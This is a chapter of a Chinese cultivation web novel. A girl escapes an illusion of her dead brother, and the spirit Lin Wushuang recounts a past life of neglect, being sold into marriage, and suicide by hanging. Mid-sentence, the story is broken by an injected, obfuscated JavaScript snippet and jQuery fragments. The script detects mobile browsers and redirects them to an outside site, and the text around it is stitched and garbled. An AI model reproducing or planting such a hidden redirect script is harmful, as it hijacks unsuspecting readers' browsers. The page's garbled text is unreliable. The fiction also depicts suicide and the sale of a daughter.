8. 两个故事

作品:《救世主实在太难当

    圆月如玉盘,高悬在苍穹之上,临仙江中飘满了河灯,那是长临百姓最为美好的祈愿。


    沈醉牵着哥哥的手站在临仙桥变,看着江边漂流而下的河灯,她的脸隐没在昏黄的灯光下,看不真切。


    弓着腰的老人举着巨大的草把子走了过来。


    “行哥儿,来,拿两根糖葫芦和妹妹吃。”老人摘下两根最大最亮的糖葫芦,努力直起腰递到沈行手上。


    “谢谢老伯。”沈行掏出铜钱,一手接过糖葫芦,一手将铜钱往老人递去。


    “你这小子!老人家还能要你的钱不成!”老人推开沈行的手,举着插满糖葫芦的草把子一转身走了。


    沈行笑了笑,收回铜钱,分了妹妹一串糖葫芦,悄悄掐了个诀,远去的老人腰间钱袋子变鼓了些,他咬了一口手中的糖葫芦,冲着老人大声喊道:“老伯!今天的糖葫芦做得可真好!”


    沈醉瞧着这场景,笑意盈盈,也学着沈行的动作张口咬上了糖葫芦。


    糖葫芦很是红亮,沈醉一口咬上去,细微的咔擦声响在耳边,该是甜蜜微酸的滋味。


    沈醉愣住,又试探性地嚼了嚼,索然无味。


    瞬间,沈醉鼻头一酸。


    假的。


    林无双的幻境。


    是林无双的幻境!


    随之而来的,便是自心头涌起的怒气。


    林无双!竟然敢窃取她的记忆!竟然敢伪造她的亲人!


    一瞬间,沈醉面前的空气如流水般瞬间扭曲。


    世界在崩塌。


    沈醉嘴唇绷紧,眉间是显而易见的怒气。


    幼儿本不该有这样戾气深重的表情。如水波纹般消散的空气中,少年的脸出现在了沈醉面前,一只骨节分明的手伸了出来,轻轻抚开幼儿紧皱的眉头。


    “小酒,笑一笑。”


    沈醉看着那张熟悉的,永远不会再改变的脸,根本控制不住自己的表情,她嘴角颤抖着,努力地想扬起笑脸,却只能以一种比哭还难看的表情看着她的哥哥消散。


    沈醉根本笑不出来,少年却扬起了明媚的笑脸。


    “小酒,原来你长大了是这般模样。”


    一瞬间,长临消散,少年不在,只留下了这样一句带着笑意的话在沈醉耳边轰隆回响。


    “林无双!”沈醉睁开眼,一抬头,咬牙切齿,挥起拳头便冲上前去。


    “哎呀哎呀,如果不是我你哪能见到你的哥哥呢?”林无双挥挥手,微风聚集而起,在她面前竖起一道屏障,将沈醉拦住,她眯眼笑道,“不过,你们这修真界的人,人生还真是一个赛一个悲惨呢。”


    林无双一拍手,翘起的二郎腿落了下来,她身体前倾看着一脸怒气的沈醉,说道:“哎,小道长,你说,如果这是一本小说,你这种人会不会是主角呢,哎呦,悲惨的过去,刻骨的仇恨,出身修仙世家却经脉受损的天才,这不就是天选龙傲天吗!”


    “说的什么东西,听不懂。”沈醉气得眼眶都红了。


    “哎,小道长,看,跟着你的这小孩也是个惨的呢。”林无双又是话锋一转。


    只见林无双面前的石桌竟然是一面水镜,上头是衣衫褴褛的木回。


    沈醉不由自主地顺势看过去。


    小孩浑身是伤,此时正窝在一个妇女身上哭诉,那是一个没有任何灵力的普通人。


    “我这幻术,按道理来说是构建一个宿主记忆中最美好的场景,可这小孩最美好的记忆都只是被人欺负了之后有人安慰,能吃一顿饱饭。”林无双顿了顿,狐疑地看向沈醉,“你们修真界这么恐怖?连修士都吃不饱饭?”


    “他昨日才入道。”沈醉撇嘴,依旧一拳一拳砸着那道屏障。


    这孩子应当与那灭门的木家没有关系,好歹也是个大家族,哪怕是旁支也不该过得如此凄惨。


    “是吗?那他天赋应该不差呀,怎么在他的记忆里人人都骂他废物呢?”林无双俯靠在石桌上,喃喃道。


    “噌!”利剑出鞘的声音响起。


    沈醉手握长君,灵力附着其上,长剑劈落而下,灵力与飓风交杂在一起,掀起了她的衣摆与长发,最终,爆炸声响起,分明只是空气的屏障像是琉璃咔擦咔嚓碎落一地,又消散不见。


    沈醉微微喘着粗气,随意地往口中扔着丹药,方才那一击消耗的灵力有些多。


    远处的山洞中,有人惊呼:“小师妹!”


    随后加快了行进的脚步。


    沈醉将那把对她来说显得格外大的长剑撑在地上,林无双看着她,满脸震惊:“不是,你这小孩至于吗!”


    “你偷看了我的记忆!”沈醉喊道。


    记忆于修士来说是极为重要的东西,一旦记忆被他人得知,便极其容易被趁虚而入,甚至被借此激发心魔,本就艰难的修真一途更是难上加难。


    “给你看回来不就得了!至于动真格么!”林无双撇撇嘴,没好气地说道,“来,过来。”


    水镜上的画面陡然一转,从未见过的高楼大厦出现在沈醉眼前。


    “这是什么地方?”她问道。


    “我的家乡。”林无双微微笑着,眼中是难以遏制的思念,“与你说过的,我不是这个世界的人。”


    沈醉皱着眉头走过来,坐在凳子上继续看去。


    那是一个没有灵力的世界。


    但是在那个世界,号称人人平等,人人都可读书学字,可是林无双不可以。


    林无双出生在大山中,那时她也不叫林无双,她叫林招娣。


    那大山中的村子和陈家村一样,尤为重男轻女,只是那世界律法不同,孩子生下来官家就有记录,是万万不可能像陈家村那般扔了给狼吃的。


    大山中的人都没有什么钱,林招娣是吃着米汤长大的,又瘦又小,头发枯黄分叉,从小到大都是一副营养不良的模样。


    没有灵力又交通不便的大山困住了小小的林招娣,从她能走会跑,听得懂话开始,她便要帮着爹娘做事,后来四岁时,她的弟弟出生了,林招娣便要开始照顾弟弟。


    直到弟弟五岁可以上学了,林招娣九岁时,她才有了读书的权力。


    那时年幼的弟弟去了学校,却又在傍晚哭着回来了,因为没人照顾,他拉裤子,遭人欺负,林家爹娘心疼孩子,终于给了九岁的林招娣一个上小学的机会。。


    在那时候,林招娣是弟弟的第二个妈,一边照顾着他,一边汲取着知识。


    林招娣很聪明,学东西也很快,在学堂中她孜孜不倦地汲取着知识,盼望着有朝一日自己能靠读书离开大山。只是,九年过去,那个世界的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761210|157749||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    义务教育结束了,弟弟还能继续上学,林招娣却失去了读书的机会。


    那时林招娣已经十八岁了,在大山中,已经是可以嫁人的年纪了,于是,一向因为林招娣是个姑娘而不喜欢她的爹娘要将她以十五万的价格卖出去。


    那时的林招娣终于确信,她的爹娘不爱她,彼时她站在屋外,听着屋内的人在大声讨论她这样的小姑娘值多少钱,只觉得自己就像那待宰的肥猪,随时要被割肉放血。


    林招娣终于逃了。


    从深山中出去并不容易,好在那时候路修得很好,林招娣走了一天一夜,终于走到了小镇上,她花了从家中偷出来的钱中可怜又心疼地拿出一张皱皱巴巴的一块钱,搭上了去城里的大巴。


    又累又饿的林招娣上车就睡着了,回过神来时,她已经站在了高楼林立的城市中。


    第一次走出大山的林招娣什么都没有,她捡垃圾捡废品捡别人不要的剩饭吃,困了也只能找个隐蔽的地方席地而眠。


    直到半个月后,她终于找到了第一份工作,是个黑旅馆的前台。


    她在那碰到了形形色色的人,有人骂她,也有人对她笑,甚至有人与她聊天,教她怎么生存下去。


    林招娣在那个小旅馆上了两年班,在期间,她知道了图书馆的存在,她总是去图书馆接书,在上班摸鱼的时候看,那时候日子虽然过得紧巴巴的,可林招娣很快乐。


    再后来,她甚至迷上了看网络小说,无论是什么类型的她都看,她最喜欢看的就是那些大女主文。


    晚上做梦时,她总会幻想她是那些能彻底断绝过去的女孩子,她幻想自己可以像那些都市丽人可以将自己的事业做得风生水起,她甚至幻想她的生活中有法术,有灵力,可以让她的人生风禾尽起。


    也许是梦做多了,也许是太过痛恨自己的过去,林招娣把名字改了。


    林无双。


    她不想当招弟,她不想当他人的附庸,她不想当被宰杀的猪,她更不想一事无成,她想让自己拥有独一无二的人生。


    她那时已经存了些钱了,再过些日子,就准备去别的地方闯闯,她想改变。


    可偏偏,在这个时候她的爹娘找来了,林无双被抓回了大山中,变回了林招娣。


    她好不容易撑起来的天碎了,黑暗再次将她笼罩了。


    这一次,她逃不了了,爹娘,弟弟,甚至是她的买家,都在二十四小时不停歇地看守真她。


    她每一次试图逃跑,都会被殴打,再扔回那间破败不堪,甚至在雨天会漏水的屋子。好不容易把自己养白净肉乎的林无双,在短短几天变回了那个瘦小无助的林招娣。


    一晃,出嫁的日子到了,在那一天,林无双哭着用一根麻绳生生将自己勒死了,一点声音都没有发出,等到接亲的人打开紧锁的房门,只有一个微笑着的林无双在房梁上淡然地看着她们。


    无论是林无双,还是林招娣,她们都没活过二十岁。


    “……”在那个消瘦的林无双坦然赴死的时候,沈醉觉得自己快要喘不上气来了。


    听着身边明显重了的呼吸声,林无双却只是笑:“你不是一直问我是个什么东西嘛,喏,你看,我就是这么个东西。索命的鬼魂找错了地方罢了。”


    沈醉看向她,眼眶红得可怕。